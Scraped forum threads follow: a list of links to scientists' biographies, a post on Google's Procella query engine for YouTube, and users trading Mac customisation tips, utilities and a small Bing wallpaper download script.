<http://en.wikipedia.org/wiki/Enrico_Fermi>

<http://en.wikipedia.org/wiki/Edward_Teller>

<http://en.wikipedia.org/wiki/J._Robert_Oppenheimer>

<http://en.wikipedia.org/wiki/Hans_Bethe>

<http://en.wikipedia.org/wiki/Hendrik_Wade_Bode>

<http://en.wikipedia.org/wiki/Albert_Einstein>

<http://en.wikipedia.org/wiki/Louis_Pasteur>

<http://en.wikipedia.org/wiki/John_R._Pierce>

[http://www.aip.org/history/acap/biographies/bio.jsp?clogston...](http://www.aip.org/history/acap/biographies/bio.jsp?clogstona)

<http://en.wikipedia.org/wiki/Walter_Houser_Brattain>

<http://en.wikipedia.org/wiki/Grace_Hopper>

<http://en.wikipedia.org/wiki/John_Tukey>

<http://en.wikipedia.org/wiki/Thomas_Edison>

<http://en.wikipedia.org/wiki/Charles_Darwin>

[http://www.aip.org/history/acap/biographies/bio.jsp?chynowet...](http://www.aip.org/history/acap/biographies/bio.jsp?chynowetha)

<http://en.wikipedia.org/wiki/William_Shockley>

<http://en.wikipedia.org/wiki/John_Bardeen>

<http://en.wikipedia.org/wiki/John_B._Johnson>

[http://www.legacy.com/obituaries/nytimes/obituary.aspx?n=ken...](http://www.legacy.com/obituaries/nytimes/obituary.aspx?n=kenneth- g-mckay&pid=140377788#fbLoggedOut)

<http://www.presidency.ucsb.edu/ws/index.php?pid=16955>

[http://en.wikipedia.org/wiki/T%27ain%27t_What_You_Do_%28It%2...](http://en.wikipedia.org/wiki/T%27ain%27t_What_You_Do_%28It%27s_the_Way_That_You_Do_It%29)

<http://en.wikipedia.org/wiki/Issac_Newton>

<http://en.wikipedia.org/wiki/Sergei_Alexander_Schelkunoff>

<http://en.wikipedia.org/wiki/590_Madison_Avenue>

<http://en.wikipedia.org/wiki/Bernard_M._Oliver>

<http://www.fraserresearch.org/FRbio_trustees.html>

<http://en.wikipedia.org/wiki/Edgar_Gilbert>

<http://en.wikipedia.org/wiki/Ian_Munro_Ross></comment>


Procella: Unifying serving and analytical data at YouTube - <AUTHOR> https://ai.google/research/pubs/pub48388/ <comment><AUTHOR> Abstract:

Large organizations like YouTube are dealing with exploding data volume and increasing demand for data driven applications. Broadly, these can be categorized as: reporting and dashboarding, embedded statistics in pages, time-series monitoring, and ad-hoc analysis. Typically, organizations build specialized infrastructure for each of these use cases. This, however, creates silos of data and processing, and results in a complex, expensive, and harder to maintain infrastructure.

At YouTube, we solved this problem by building a new SQL query engine - Procella. Procella implements a super-set of capabilities required to address all of the four use cases above, with high scale and performance, in a single product. Today, Procella serves hundreds of billions of queries per day across all four workloads at YouTube and several other Google product areas.

Here's a review of the paper - [https://tech.marksblogg.com/youtube-database- procella.html](https://tech.marksblogg.com/youtube-database-procella.html)</comment>


What tweaks do you use in your Macintosh? - <AUTHOR>

Do you have any tips/tweaks/hacks you use in your Mac? Software or hardware alike. <comment><USER2> • Change the Trackpad plists to allow _both_ two-finger tap, and bottom-right click. Apple took away the option to set this from the GUI in Lion, for some reason.

[http://apple.stackexchange.com/a/105705/50905](http://apple.stackexchange.com/a/105705/50905)

• Add "System Files" and "File Visibility" to the list of Spotlight options

• Install "EasyFind.app" so I'm not at the mercy of my Spotlight db (as useful as Spotlight can sometimes be)

• Install Services like "WordService for Mac" to alphabetize text, or convert text encodings

• Install my own services to do things like "chmod +x" or "copy file contents as base64" or "copy path to this file as text" (I'd die without this) from the GUI

• Set "System Preferences > Keyboard" to "All controls" to uncripple key commands

• Install "KeyRemap4MacBook" and enable Fn+J/K/L/I as cursor keys

• Install "Display Rotation Menu" menulet to switch between portrait/landscape

• Install "SizeUp" to move/resize windows

• Change the Finder setting to allow text selection in Quick Look previews:

"defaults write com.apple.finder QLEnableTextSelection -bool TRUE"

• create a softlink to my "~/Library/" named "~/Library /" (or alternately just chflags nohidden)

</comment><comment><USER3> Right now there's a few essentials for my Air:

\- PCKeyboardHack [https://pqrs.org/macosx/keyremap4macbook/pckeyboardhack.html...](https://pqrs.org/macosx/keyremap4macbook/pckeyboardhack.html.en) to map CapsLock to Escape

\- KeyRemap4MacBook [https://pqrs.org/macosx/keyremap4macbook/](https://pqrs.org/macosx/keyremap4macbook/) to map Fn to Ctrl

\- Spectacle [http://spectacleapp.com/](http://spectacleapp.com/) to resize windows with the keyboard

\- Caffeine [http://lightheadsw.com/caffeine/](http://lightheadsw.com/caffeine/) to easily toggle the screen's sleep setting

\- The Unarchiver [http://unarchiver.c3.cx/unarchiver](http://unarchiver.c3.cx/unarchiver) handles tons of file formats

</comment><comment><USER4> f.lux [http://justgetflux.com/](http://justgetflux.com/)

As much a brain hack as a Mac hack. #1 recommendation.

<comment><USER5> I second f.lux as I've been using it for a few years. Just try it for a while.

</comment></comment><comment><USER6> When I install a new system, I always go through these steps in no particular order:

* change the appearance and the contrast color from "blue" to "graphite"

* disable the zoom effect and enable automatic hiding of the dock

* limit Spotlight's scope

* increase the speed of the mouse

* install Perian

* install Secrets

* install Slate

* install ClipMenu

* install QuickSilver

* install QuickCursor

* install MacPorts (and the required XCode)

* install Subversion, Git and Mercurial

* install a bunch of CLI utilities like cdargs or tmux

* install MacVim and clone my config

<comment><USER7> I would love something like QuickCursor... How did you install QuickCursor? (builds won't launch due to the OS X Sandbox?)

<comment><USER6> If you don't mind downloading binaries from total strangers, this is the one I'm using right now:

[https://www.dropbox.com/s/z9lhundywuz7llg/QuickCursor.app.zi...](https://www.dropbox.com/s/z9lhundywuz7llg/QuickCursor.app.zip)

</comment></comment></comment><comment><USER8> I'd recommend [http://winebottler.kronenberg.org/](http://winebottler.kronenberg.org/) (the easiest way to run windows app on mac) The first time I installed it was because I couldn't find a tool like total commander ([http://www.ghisler.com/](http://www.ghisler.com/)) for mac, so I will add that to my list total commander :D

The rest really depends on what you will do with it.

</comment><comment><USER9> Fullscreen tmux with all development in linux VMs. I don't even know why I'm using a Mac anymore.

F.lux and an email client that works.

</comment><comment><USER10> My required installs:

* f.lux * Divvy (resize windows on the fly) * TotalTerminal (a visor-style thing for using the terminal) * Alfred 2 (a Spotlight replacement - I used to use Quicksilver, but it's no longer actively developed)

<comment><USER11> Quicksilver is back under development - the latest version is 1.1.2, and the last commit at their repo[1] was five days ago... Not on fire, but there is stuff happening.

Also, you may like Moom[2] for window management - sucky name, but the feature set makes up for it ;)

[1]: [https://github.com/quicksilver/Quicksilver/](https://github.com/quicksilver/Quicksilver/) [2]: [http://manytricks.com/moom/](http://manytricks.com/moom/)

</comment></comment><comment><USER12> I have a MBPR. \- I used QuickRes2 to switch to a much higher resolution 1920x1680 which is not possible otherwise. \- Wrote a script to download the beautiful bing.com backgrounds for use as wallpapers

<comment><USER13> Care to share the script?

<comment><USER12> #!/usr/bin/env bash

PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin PICTURE_DIR="/path/to/your/directory"

#mkdir -p $PICTURE_DIR

cd $PICTURE_DIR

urls=( $(curl -s [http://www.bing.com|grep](http://www.bing.com|grep) -Eo "url:'. _? '"|sed -e "s/url:'\\([^']_\\)'. _/ http:\/\/bing.com\1/"|sed -e "s/\\\\\//g") )

for p in ${urls[@]}; do filename=$(echo $p|sed -e "s/._\/\\(.*\\)/\1/") if [ ! -f $PICTURE_DIR/$filename ]; then echo "Downloading: $filename ..." #wget -q -O $PICTURE_DIR/$filename $p curl -Lo "$PICTURE_DIR/$filename" $p else echo "Skipping: $filename ..." fi done

</comment></comment></comment><comment><USER14> Install:

* Homebrew

* Caffeine and NoSleep

* SetResX for Retina displays (lets you deretinafy and use native resolution)

* KeyRemap4MacBook to swap () and [] (but I might be weird)

* iTerm2

</comment><comment> Dirty-flow you can find some tips and tricks on Apple Stackexchange: [http://apple.stackexchange.com/q/400/24026](http://apple.stackexchange.com/q/400/24026)

</comment><comment><USER15> If I could recommend just one, it would be 1Password.</comment>